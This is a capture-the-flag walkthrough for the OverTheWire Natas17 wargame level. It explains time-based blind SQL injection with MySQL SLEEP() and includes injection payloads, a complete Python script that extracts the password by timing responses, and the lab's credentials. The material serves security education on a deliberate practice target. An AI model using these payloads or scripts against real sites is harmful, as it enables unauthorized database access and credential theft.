Natas18
Website URL: http://overthewire.org/wargames/natas/natas18.html
According to the data on the OverTheWire webpage.
Username: natas18
URL: http://natas18.natas.labs.overthewire.org
Let’s log into the URL for Natas17

Look at the source code.

Another challenge, similar to Natas16! Let’s analyze and see what’s different this time. It seems that the query that’s sent to be executed is the same as earlier. However, this time they have commented out the message output. Thus, we cannot get a message differentiating whether the query was evaluated to be True or False. Therefore, a Boolean based Blind SQL Injection seems to be out of our options now.
Let’s figure out another way. Right now, the problem is that the behavior of the server seems to be identical in nature, making it almost impossible for us to differentiate between True response and a False response. We have a to figure out a way in which, either we break the query, or insert some kind of differentiation which enables us to spot a True response and a False response.
One way to do that is the response time. Imagine, if we have a query that if it is true, then server waits for a fixed time before sending a reply whereas if the query is false, then immediate response is sent. In case of MySQL, we can use the SLEEP() function.
The MySQL SLEEP() evaluates to be 1 if it is executed. So, if we have some condition and we add a sleep statement as follows:
SELECT * FROM table WHERE condition1 = True AND SLEEP(2);
Here, the SLEEP statement will only be executed when condition1 is True. Once SLEEP is executed, the return value is True and hence, this modification does not affect the overall function of the query, just the response time. Let’s see how to leverage this on our target.
We know that the username “natas18” exists in the database as well as the fact that we can extend this query. Let’s first get a proof of concept, that we actually get a delayed response. For this, we will simply modify the input as:
natas18" AND SLEEP(5);#
This should evaluate out to be True. For a false statement, replace natas18 with any weird word you can think of. I’ll write up a quick script to test get this proof of concept.
import requests from requests.auth import HTTPBasicAuth def main(): Data = {"username":'natas18" AND SLEEP(5); #'} r = requests.post("http://natas17.natas.labs.overthewire.org", auth=HTTPBasicAuth("natas17","8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"),data=Data) print("True Response time", r.elapsed.total_seconds()) Data = {"username":'natas100" AND SLEEP(5); #'} r = requests.post("http://natas17.natas.labs.overthewire.org", auth=HTTPBasicAuth("natas17","8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"),data=Data) print("False Response time", r.elapsed.total_seconds()) return if __name__=='__main__': main()
I can hear people thinking why is it necessary to get this proof of concept? Well, simply because of the fact that this leads to a Time based Blind SQL injection attack which will take a lot of time (Much much more than a Boolean base Blind SQL injection attack). I’d much rather be sure that I’ll get the results if I wait that long, even if it means I have to code a couple of lines more.

So we now know that we can introduce a differentiating factor between True and False responses using a SLEEP. All that is left now is to introduce the thing that we want viz. the password. For that, we can insert a comparison with the password field, as we did before.
natas18" AND BINARY password LIKE <pattern> AND SLEEP(5);#
We’ll use this query and this time evaluate the response time instead of response content to check for passing or not. Apart from these two changes, our overall algorithm remains similar.
import requests from requests.auth import HTTPBasicAuth chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' filtered = '' passwd = '' delay = 5 def main(): global filtered global chars global passwd global delay for char in chars: Data = {"username":'natas18" AND BINARY PASSWORD LIKE "%'+char+'%" AND SLEEP('+str(delay)+'); #'} r = requests.post("http://natas17.natas.labs.overthewire.org", auth=HTTPBasicAuth("natas17","8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"),data=Data) if(r.elapsed.total_seconds()>=delay): filtered = filtered + char print("Filtered charset: ", filtered) for i in range(0,32): print("Iteration: ", i) for char in chars: Data = {"username":'natas18" AND BINARY PASSWORD LIKE "'+passwd+char+'%" AND SLEEP('+str(delay)+'); #'} r = requests.post("http://natas17.natas.labs.overthewire.org", auth=HTTPBasicAuth("natas17","8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"),data=Data) if(r.elapsed.total_seconds()>=delay): passwd = passwd + char print("So far: ",passwd) break print("Password: ", passwd) return if __name__=='__main__': main()
Since this is a time based attack, stability of internet connection is crucial to avoid false positives. Also, the delay time should be adjusted so that the total waiting time is not too high, and at the same time there are no false positives.

Well, this is going to take some time to complete…

Bingo! It took about 30 mins or so.
Password for next level: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP